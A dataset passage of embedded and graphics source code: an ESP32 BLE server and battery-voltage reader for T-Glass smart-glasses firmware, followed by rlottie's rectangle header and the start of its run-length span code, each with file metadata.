{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
image_capture_app/main/ble_server.c
|
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "esp_bt.h"
#include "esp_gap_ble_api.h"
#include "esp_gatts_api.h"
#include "esp_bt_defs.h"
#include "esp_bt_main.h"
#include "t_glass.h"
#define TAG "[BLE_SERVER]"
#define DEVICE_NAME "T-Glass"
#define SERVICE_UUID 0x00FF
#define CHAR_UUID 0xFF01
// External function defined in main.c
extern void ble_receive_image_chunk(uint8_t *data, size_t length);
extern void ble_disconnected();
static uint8_t char_value = 0;
static esp_gatt_char_prop_t char_property = ESP_GATT_CHAR_PROP_BIT_READ | ESP_GATT_CHAR_PROP_BIT_WRITE_NR;
static esp_attr_value_t gatts_char_val = {
.attr_max_len = 20,
.attr_len = sizeof(char_value),
.attr_value = &char_value,
};
static uint8_t adv_service_uuid128[16] = {
0xfb, 0x34, 0x9b, 0x5f, 0x80, 0x00, 0x00, 0x80,
0x00, 0x10, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00};
static esp_ble_adv_data_t adv_data = {
.set_scan_rsp = false,
.include_name = true,
.include_txpower = true,
.min_interval = 0x20,
.max_interval = 0x40,
.appearance = 0x00,
.manufacturer_len = 0,
.p_manufacturer_data = NULL,
.service_data_len = 0,
.p_service_data = NULL,
.service_uuid_len = sizeof(adv_service_uuid128),
.p_service_uuid = adv_service_uuid128,
.flag = (ESP_BLE_ADV_FLAG_GEN_DISC | ESP_BLE_ADV_FLAG_BREDR_NOT_SPT),
};
static esp_ble_adv_data_t scan_rsp_data = {
.set_scan_rsp = true,
.include_name = true,
.include_txpower = false,
.service_uuid_len = sizeof(adv_service_uuid128),
.p_service_uuid = adv_service_uuid128,
};
static esp_ble_adv_params_t adv_params = {
.adv_int_min = 0x20,
.adv_int_max = 0x40,
.adv_type = ADV_TYPE_IND,
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
.channel_map = ADV_CHNL_ALL,
.adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY,
};
static uint16_t service_handle;
static esp_gatt_srvc_id_t service_id = {
.id = {
.uuid = {.len = ESP_UUID_LEN_16, .uuid = {.uuid16 = SERVICE_UUID}},
.inst_id = 0,
},
.is_primary = true,
};
static esp_gatt_id_t char_id = {
.uuid = {.len = ESP_UUID_LEN_16, .uuid = {.uuid16 = CHAR_UUID}},
.inst_id = 0,
};
static void gatts_event_handler(esp_gatts_cb_event_t event, esp_gatt_if_t gatts_if,
esp_ble_gatts_cb_param_t *param)
{
switch (event)
{
case ESP_GATTS_REG_EVT:
ESP_LOGI(TAG, "Registering service...");
esp_ble_gatts_create_service(gatts_if, &service_id, 4);
break;
case ESP_GATTS_CREATE_EVT:
service_handle = param->create.service_handle;
esp_ble_gatts_start_service(service_handle);
esp_ble_gatts_add_char(service_handle, &char_id.uuid, ESP_GATT_PERM_READ | ESP_GATT_PERM_WRITE,
char_property, &gatts_char_val, NULL);
break;
case ESP_GATTS_ADD_CHAR_EVT:
ESP_LOGI(TAG, "Characteristic added.");
break;
case ESP_GATTS_WRITE_EVT:
// ESP_LOGI(TAG, "Data received: %.*s", param->write.len, param->write.value);
ESP_LOGI(TAG, "Data received: %d", param->write.len);
ble_receive_image_chunk(param->write.value, param->write.len);
break;
case ESP_GATTS_CONNECT_EVT:
ESP_LOGI(TAG, "Device connected");
lv_gui_ble_status(true);
break;
case ESP_GATTS_DISCONNECT_EVT:
ESP_LOGI(TAG, "Device disconnected");
ble_disconnected();
lv_gui_ble_status(false);
esp_ble_gap_start_advertising(&adv_params);
break;
case ESP_GATTS_MTU_EVT:
// MTU exchange completed
ESP_LOGI("GATT", "MTU updated to %d", param->mtu.mtu);
break;
default:
break;
}
}
static void gap_event_handler(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
{
switch (event)
{
case ESP_GAP_BLE_ADV_DATA_SET_COMPLETE_EVT:
ESP_LOGI(TAG, "Advertising data set, starting advertising...");
esp_ble_gap_start_advertising(&adv_params);
break;
case ESP_GAP_BLE_SCAN_RSP_DATA_SET_COMPLETE_EVT:
ESP_LOGI(TAG, "Scan response data set.");
break;
default:
break;
}
}
void ble_server_init()
{
ESP_ERROR_CHECK(esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT));
esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_bt_controller_init(&bt_cfg));
ESP_ERROR_CHECK(esp_bt_controller_enable(ESP_BT_MODE_BLE));
ESP_ERROR_CHECK(esp_bluedroid_init());
ESP_ERROR_CHECK(esp_bluedroid_enable());
esp_ble_gap_set_device_name(DEVICE_NAME);
esp_ble_gap_register_callback(gap_event_handler);
esp_ble_gatts_register_callback(gatts_event_handler);
esp_ble_gatts_app_register(0);
esp_ble_gap_config_adv_data(&adv_data);
esp_ble_gap_config_adv_data(&scan_rsp_data);
}
| 4,902
|
ble_server
|
c
|
en
|
c
|
code
|
{"qsc_code_num_words": 721, "qsc_code_num_chars": 4902.0, "qsc_code_mean_word_length": 4.25797503, "qsc_code_frac_words_unique": 0.23023578, "qsc_code_frac_chars_top_2grams": 0.03517915, "qsc_code_frac_chars_top_3grams": 0.02605863, "qsc_code_frac_chars_top_4grams": 0.02964169, "qsc_code_frac_chars_dupe_5grams": 0.30358306, "qsc_code_frac_chars_dupe_6grams": 0.18631922, "qsc_code_frac_chars_dupe_7grams": 0.13159609, "qsc_code_frac_chars_dupe_8grams": 0.11335505, "qsc_code_frac_chars_dupe_9grams": 0.09315961, "qsc_code_frac_chars_dupe_10grams": 0.07296417, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02604034, "qsc_code_frac_chars_whitespace": 0.20093839, "qsc_code_size_file_byte": 4902.0, "qsc_code_num_lines": 156.0, "qsc_code_num_chars_line_max": 107.0, "qsc_code_num_chars_line_mean": 31.42307692, "qsc_code_frac_chars_alphabet": 0.75772275, "qsc_code_frac_chars_comments": 0.02937576, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22627737, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0626182, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.02017231, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.03649635, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.10948905, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.10218978}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
image_capture_app/main/battery_measurement.c
|
#include "battery_measurement.h"
#include "esp_adc/adc_oneshot.h"
#include "esp_adc/adc_cali.h"
#include "esp_adc/adc_cali_scheme.h"
#define ADC_CHANNEL ADC_CHANNEL_2
#define ADC_UNIT ADC_UNIT_2
#define ADC_ATTEN ADC_ATTEN_DB_12
#define ADC_BITWIDTH ADC_BITWIDTH_12
#define REF_VOLTAGE 1100 // Reference voltage in mV (adjust based on ESP32's factory calibration)
#define DIVIDER_RATIO 2.0 // Resistor divider ratio (adjust based on your resistor values)
static const char *TAG = "BATTERY_MEASUREMENT";
static adc_oneshot_unit_handle_t adc_handle = NULL;
static adc_cali_handle_t cali_handle = NULL;
static bool calibration_enabled = false;
// Battery voltage-to-percentage lookup table
typedef struct {
float voltage; // Battery voltage in volts
int percentage; // Corresponding battery percentage
} battery_level_t;
// Battery voltage-to-percentage lookup table
const battery_level_t battery_curve[] = {
{4.20, 100},
{4.00, 90},
{3.85, 75},
{3.70, 50},
{3.60, 25},
{3.50, 10},
{3.30, 0},
};
#define NUM_POINTS (sizeof(battery_curve) / sizeof(battery_curve[0]))
// Helper function to get battery percentage from voltage
int battery_voltage_to_percentage(float voltage) {
if (voltage >= battery_curve[0].voltage) {
return 100; // Above the max voltage, assume full charge
}
if (voltage <= battery_curve[NUM_POINTS - 1].voltage) {
return 0; // Below the minimum voltage, assume empty
}
// Linear interpolation between points
for (int i = 0; i < NUM_POINTS - 1; i++) {
if (voltage <= battery_curve[i].voltage && voltage > battery_curve[i + 1].voltage) {
float v1 = battery_curve[i].voltage;
float v2 = battery_curve[i + 1].voltage;
int p1 = battery_curve[i].percentage;
int p2 = battery_curve[i + 1].percentage;
// Linear interpolation formula
return p1 + (voltage - v1) * (p2 - p1) / (v2 - v1);
}
}
return 0; // Default, should never reach here
}
esp_err_t battery_measurement_init(void) {
esp_err_t ret;
adc_oneshot_unit_init_cfg_t init_config = {
.unit_id = ADC_UNIT,
.ulp_mode = ADC_ULP_MODE_DISABLE,
};
ret = adc_oneshot_new_unit(&init_config, &adc_handle);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Failed to initialize ADC unit: %s", esp_err_to_name(ret));
return ret;
}
adc_oneshot_chan_cfg_t channel_config = {
.atten = ADC_ATTEN,
.bitwidth = ADC_BITWIDTH,
};
ret = adc_oneshot_config_channel(adc_handle, ADC_CHANNEL, &channel_config);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Failed to configure ADC channel: %s", esp_err_to_name(ret));
adc_oneshot_del_unit(adc_handle); // Cleanup in case of failure
return ret;
}
adc_cali_curve_fitting_config_t cali_config = {
.unit_id = ADC_UNIT,
.chan = (adc_channel_t)ADC_CHANNEL,
.atten = ADC_ATTEN,
.bitwidth = ADC_BITWIDTH,
};
if (adc_cali_create_scheme_curve_fitting(&cali_config, &cali_handle) == ESP_OK) {
calibration_enabled = true;
ESP_LOGI(TAG, "Calibration enabled using curve fitting");
} else {
ESP_LOGW(TAG, "Calibration not supported on this device. Proceeding without calibration");
}
ESP_LOGI(TAG, "ADC initialization successful");
return ESP_OK;
}
float battery_measurement_read(void) {
int raw_reading = 0;
int voltage = 0;
// Read raw ADC value
ESP_ERROR_CHECK(adc_oneshot_read(adc_handle, ADC_CHANNEL, &raw_reading));
if (calibration_enabled) {
// Convert raw value to voltage using calibration
ESP_ERROR_CHECK(adc_cali_raw_to_voltage(cali_handle, raw_reading, &voltage));
} else {
// Approximate voltage calculation
voltage = (raw_reading * REF_VOLTAGE) / (1 << ADC_BITWIDTH);
}
float battery_voltage = voltage * DIVIDER_RATIO / 1000.0; // Calculate battery voltage in volts
//ESP_LOGI(TAG, "Raw ADC Value: %d, Voltage: %d mV, Battery Voltage: %.2f V", raw_reading, voltage, battery_voltage);
return battery_voltage;
}
void battery_measurement_deinit(void) {
if (calibration_enabled) {
adc_cali_delete_scheme_curve_fitting(cali_handle);
}
if (adc_handle != NULL) {
adc_oneshot_del_unit(adc_handle);
}
}
| 4,449
|
battery_measurement
|
c
|
en
|
c
|
code
|
{"qsc_code_num_words": 592, "qsc_code_num_chars": 4449.0, "qsc_code_mean_word_length": 4.68412162, "qsc_code_frac_words_unique": 0.27027027, "qsc_code_frac_chars_top_2grams": 0.04760188, "qsc_code_frac_chars_top_3grams": 0.02812838, "qsc_code_frac_chars_top_4grams": 0.01514605, "qsc_code_frac_chars_dupe_5grams": 0.15037865, "qsc_code_frac_chars_dupe_6grams": 0.11539849, "qsc_code_frac_chars_dupe_7grams": 0.02019473, "qsc_code_frac_chars_dupe_8grams": 0.02019473, "qsc_code_frac_chars_dupe_9grams": 0.02019473, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02389381, "qsc_code_frac_chars_whitespace": 0.23803102, "qsc_code_size_file_byte": 4449.0, "qsc_code_num_lines": 134.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 33.20149254, "qsc_code_frac_chars_alphabet": 0.79410029, "qsc_code_frac_chars_comments": 0.18880647, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.18947368, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.08642659, "qsc_code_frac_chars_long_word_length": 0.01855956, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.04210526, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.12631579, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.12631579}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vrect.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VRECT_H
#define VRECT_H
#include "vglobal.h"
#include "vpoint.h"
V_BEGIN_NAMESPACE
class VRectF;
class VRect {
public:
VRect() = default;
VRect(int x, int y, int w, int h):x1(x),y1(y),x2(x+w),y2(y+h){}
explicit VRect(VPoint pt, VSize sz):VRect(pt.x(), pt.y(), sz.width(), sz.height()){}
operator VRectF() const;
V_CONSTEXPR bool empty() const {return x1 >= x2 || y1 >= y2;}
V_CONSTEXPR int left() const {return x1;}
V_CONSTEXPR int top() const {return y1;}
V_CONSTEXPR int right() const {return x2;}
V_CONSTEXPR int bottom() const {return y2;}
V_CONSTEXPR int width() const {return x2-x1;}
V_CONSTEXPR int height() const {return y2-y1;}
V_CONSTEXPR int x() const {return x1;}
V_CONSTEXPR int y() const {return y1;}
VSize size() const {return {width(), height()};}
void setLeft(int l) { x1 = l; }
void setTop(int t) { y1 = t; }
void setRight(int r) { x2 = r; }
void setBottom(int b) { y2 = b; }
void setWidth(int w) { x2 = x1 + w; }
void setHeight(int h) { y2 = y1 + h; }
VRect translated(int dx, int dy) const;
void translate(int dx, int dy);
bool contains(const VRect &r, bool proper = false) const;
bool intersects(const VRect &r);
friend V_CONSTEXPR inline bool operator==(const VRect &,
const VRect &) noexcept;
friend V_CONSTEXPR inline bool operator!=(const VRect &,
const VRect &) noexcept;
friend VDebug & operator<<(VDebug &os, const VRect &o);
VRect intersected(const VRect &r) const;
VRect operator&(const VRect &r) const;
private:
int x1{0};
int y1{0};
int x2{0};
int y2{0};
};
inline VRect VRect::intersected(const VRect &r) const
{
return *this & r;
}
inline bool VRect::intersects(const VRect &r)
{
return (right() > r.left() && left() < r.right() && bottom() > r.top() &&
top() < r.bottom());
}
inline VDebug &operator<<(VDebug &os, const VRect &o)
{
os << "{R " << o.x() << "," << o.y() << "," << o.width() << ","
<< o.height() << "}";
return os;
}
V_CONSTEXPR inline bool operator==(const VRect &r1, const VRect &r2) noexcept
{
return r1.x1 == r2.x1 && r1.x2 == r2.x2 && r1.y1 == r2.y1 && r1.y2 == r2.y2;
}
V_CONSTEXPR inline bool operator!=(const VRect &r1, const VRect &r2) noexcept
{
return r1.x1 != r2.x1 || r1.x2 != r2.x2 || r1.y1 != r2.y1 || r1.y2 != r2.y2;
}
inline VRect VRect::translated(int dx, int dy) const
{
return {x1 + dx, y1 + dy, x2 - x1, y2 - y1};
}
inline void VRect::translate(int dx, int dy)
{
x1 += dx;
y1 += dy;
x2 += dx;
y2 += dy;
}
inline bool VRect::contains(const VRect &r, bool proper) const
{
return proper ?
((x1 < r.x1) && (x2 > r.x2) && (y1 < r.y1) && (y2 > r.y2)) :
((x1 <= r.x1) && (x2 >= r.x2) && (y1 <= r.y1) && (y2 >= r.y2));
}
class VRectF {
public:
VRectF() = default;
VRectF(double x, double y, double w, double h):
x1(float(x)),y1(float(y)),
x2(float(x+w)),y2(float(y+h)){}
operator VRect() const {
return {int(left()), int(right()), int(width()), int(height())};
}
V_CONSTEXPR bool empty() const {return x1 >= x2 || y1 >= y2;}
V_CONSTEXPR float left() const {return x1;}
V_CONSTEXPR float top() const {return y1;}
V_CONSTEXPR float right() const {return x2;}
V_CONSTEXPR float bottom() const {return y2;}
V_CONSTEXPR float width() const {return x2-x1;}
V_CONSTEXPR float height() const {return y2-y1;}
V_CONSTEXPR float x() const {return x1;}
V_CONSTEXPR float y() const {return y1;}
V_CONSTEXPR inline VPointF center() const
{
return {x1 + (x2 - x1) / 2.f, y1 + (y2 - y1) / 2.f};
}
void setLeft(float l) { x1 = l; }
void setTop(float t) { y1 = t; }
void setRight(float r) { x2 = r; }
void setBottom(float b) { y2 = b; }
void setWidth(float w) { x2 = x1 + w; }
void setHeight(float h) { y2 = y1 + h; }
void translate(float dx, float dy)
{
x1 += dx;
y1 += dy;
x2 += dx;
y2 += dy;
}
private:
float x1{0};
float y1{0};
float x2{0};
float y2{0};
};
inline VRect::operator VRectF() const
{
return {double(left()), double(right()), double(width()), double(height())};
}
V_END_NAMESPACE
#endif // VRECT_H
| 5,642
|
vrect
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 815, "qsc_code_num_chars": 5642.0, "qsc_code_mean_word_length": 4.09202454, "qsc_code_frac_words_unique": 0.21472393, "qsc_code_frac_chars_top_2grams": 0.08245877, "qsc_code_frac_chars_top_3grams": 0.03118441, "qsc_code_frac_chars_top_4grams": 0.0167916, "qsc_code_frac_chars_dupe_5grams": 0.41529235, "qsc_code_frac_chars_dupe_6grams": 0.35682159, "qsc_code_frac_chars_dupe_7grams": 0.22368816, "qsc_code_frac_chars_dupe_8grams": 0.14932534, "qsc_code_frac_chars_dupe_9grams": 0.14932534, "qsc_code_frac_chars_dupe_10grams": 0.13853073, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03507086, "qsc_code_frac_chars_whitespace": 0.26214108, "qsc_code_size_file_byte": 5642.0, "qsc_code_num_lines": 172.0, "qsc_code_num_chars_line_max": 89.0, "qsc_code_num_chars_line_mean": 32.80232558, "qsc_code_frac_chars_alphabet": 0.76603411, "qsc_code_frac_chars_comments": 0.20542361, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13636364, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00535356, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.31818182, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.35606061, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vrle.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in
all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vrle.h"
#include <vrect.h>
#include <algorithm>
#include <array>
#include <cstdlib>
#include <cstring>
#include <limits>
#include <vector>
#include "vdebug.h"
#include "vglobal.h"
V_BEGIN_NAMESPACE
using Result = std::array<VRle::Span, 255>;
using rle_view = VRle::View;
static size_t _opGeneric(rle_view &a, rle_view &b, Result &result,
VRle::Data::Op op);
static size_t _opIntersect(const VRect &, rle_view &, Result &);
static size_t _opIntersect(rle_view &, rle_view &, Result &);
static inline uint8_t divBy255(int x)
{
return (x + (x >> 8) + 0x80) >> 8;
}
inline static void copy(const VRle::Span *span, size_t count,
std::vector<VRle::Span> &v)
{
// make sure enough memory available
if (v.capacity() < v.size() + count) v.reserve(v.size() + count);
std::copy(span, span + count, back_inserter(v));
}
void VRle::Data::addSpan(const VRle::Span *span, size_t count)
{
copy(span, count, mSpans);
mBboxDirty = true;
}
VRect VRle::Data::bbox() const
{
updateBbox();
return mBbox;
}
void VRle::Data::setBbox(const VRect &bbox) const
{
mBboxDirty = false;
mBbox = bbox;
}
void VRle::Data::reset()
{
mSpans.clear();
mBbox = VRect();
mOffset = VPoint();
mBboxDirty = false;
}
void VRle::Data::clone(const VRle::Data &o)
{
*this = o;
}
void VRle::Data::translate(const VPoint &p)
{
// take care of last offset if applied
mOffset = p - mOffset;
int x = mOffset.x();
int y = mOffset.y();
for (auto &i : mSpans) {
i.x = i.x + x;
i.y = i.y + y;
}
updateBbox();
mBbox.translate(mOffset.x(), mOffset.y());
}
void VRle::Data::addRect(const VRect &rect)
{
int x = rect.left();
int y = rect.top();
int width = rect.width();
int height = rect.height();
mSpans.reserve(size_t(height));
VRle::Span span;
for (int i = 0; i < height; i++) {
span.x = x;
span.y = y + i;
span.len = width;
span.coverage = 255;
mSpans.push_back(span);
}
mBbox = rect;
}
void VRle::Data::updateBbox() const
{
if (!mBboxDirty) return;
mBboxDirty = false;
int l = std::numeric_limits<int>::max();
const VRle::Span *span = mSpans.data();
mBbox = VRect();
size_t sz = mSpans.size();
if (sz) {
int t = span[0].y;
int b = span[sz - 1].y;
int r = 0;
for (size_t i = 0; i < sz; i++) {
if (span[i].x < l) l = span[i].x;
if (span[i].x + span[i].len > r) r = span[i].x + span[i].len;
}
mBbox = VRect(l, t, r - l, b - t + 1);
}
}
void VRle::Data::operator*=(uint8_t alpha)
{
for (auto &i : mSpans) {
i.coverage = divBy255(i.coverage * alpha);
}
}
void VRle::Data::opIntersect(const VRect &r, VRle::VRleSpanCb cb,
void *userData) const
{
if (empty()) return;
if (r.contains(bbox())) {
